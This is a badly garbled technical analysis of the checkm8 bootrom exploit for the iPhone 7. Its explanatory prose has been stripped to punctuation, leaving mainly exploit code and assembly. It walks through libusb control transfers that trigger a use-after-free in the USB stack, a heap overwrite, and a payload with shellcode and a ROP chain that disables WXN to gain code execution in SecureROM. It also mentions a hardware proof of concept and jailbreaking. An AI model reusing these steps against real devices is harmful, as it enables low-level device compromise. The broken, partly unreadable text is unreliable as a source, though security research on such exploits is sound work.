00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
, High Speed
Full Speed
, IO
-. , , , . , .
2. IO-
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
OUT
- . , io_buffer
. DFU
DFU_CLR_STATUS
, DFU
.
3. usb_device_io_request
use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
usb_device_io_request
t8010_overwrite
, .
t8010_nop_gadget
0x1800B0800
callback
next
usb_device_io_request
.
t8010_nop_gadget
, , LR
, - free
callback
- usb_core_complete_endpoint_io
. , , .
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next
INSECURE_MEMORY + 0x800
. INSECURE_MEMORY
, 0x800
callback-chain
, .
4.
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
. :
0x1800B0000: t8010_shellcode # shell-code ... 0x1800B0180: t8010_handler # usb- ... 0x1800B0400: 0x1000006a5 # # SecureROM (0x100000000 -> 0x100000000) # ... 0x1800B0600: 0x60000180000625 # # SecureRAM (0x180000000 -> 0x180000000) # 0x1800B0608: 0x1800006a5 # # 0x182000000 0x180000000 # 0x1800B0610: disabe_wxn_arm64 # WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. callback-chain
dfu.usb_reset(device) dfu.release_device(device)
USB
usb_device_io_request
. , callback
. :
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
, 0x70
. f(x)
f
x
.
, Unicorn Engine
. uEmu .

iPhone 7
.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
. , .
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
, , . , , .
5.3. enter_critical_section()
.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
0x1800B0000
. INSECURE MEMORY
, . , :
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
, .
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN
(Write permission implies Execute-never), RW
. WXN
- .
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
TTBR0_EL1
. BootROM
, INSECURE_MEMORY
.
5.8. tlbi
.
5.9. exit_critical_section()
.
5.10. 0x1800B0000
shellcode
.
, callback-chain
— WXN
shellcode
RW
-.
6. shellcode
shellcode
src/checkm8_arm64.S
:
6.1. USB
-
usb_core_hs_configuration_descriptor
usb_core_fs_configuration_descriptor
, . . USB
-, shellcode
.
6.2。 USBSerialNumber
- , " PWND:[checkm8]"
. , .
6.3。 USB
-
USB
- , .
6.4. USB
- TRAMPOLINE
( 0x1800AFC00
)
USB
- wValue
0xffff
, , . , : memcpy
, memset
exec
( ).
.
USB
Proof-of-Concept checkm8
Arduino
Usb Host Shield
. PoC iPhone 7
, . iPhone 7
DFU
Usb Host Shield
, PWND:[checkm8]
, USB
- ipwndfu ( , - ..). , , USB
-. USB_Host_Shield_2.0 . , patch- .
. checkm8
. , . jailbreak-. , jailbreak checkm8
— checkra1n . , jailbreak ( A5
A11
) iOS
. iWatch
, Apple TV
. , .
jailbreak, Apple. checkm8
verbose- iOS
, SecureROM
GID
- . , , JTAG/SWD . , , . , checkm8
, Apple
.
参考文献
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- ipwndfu LinusHenze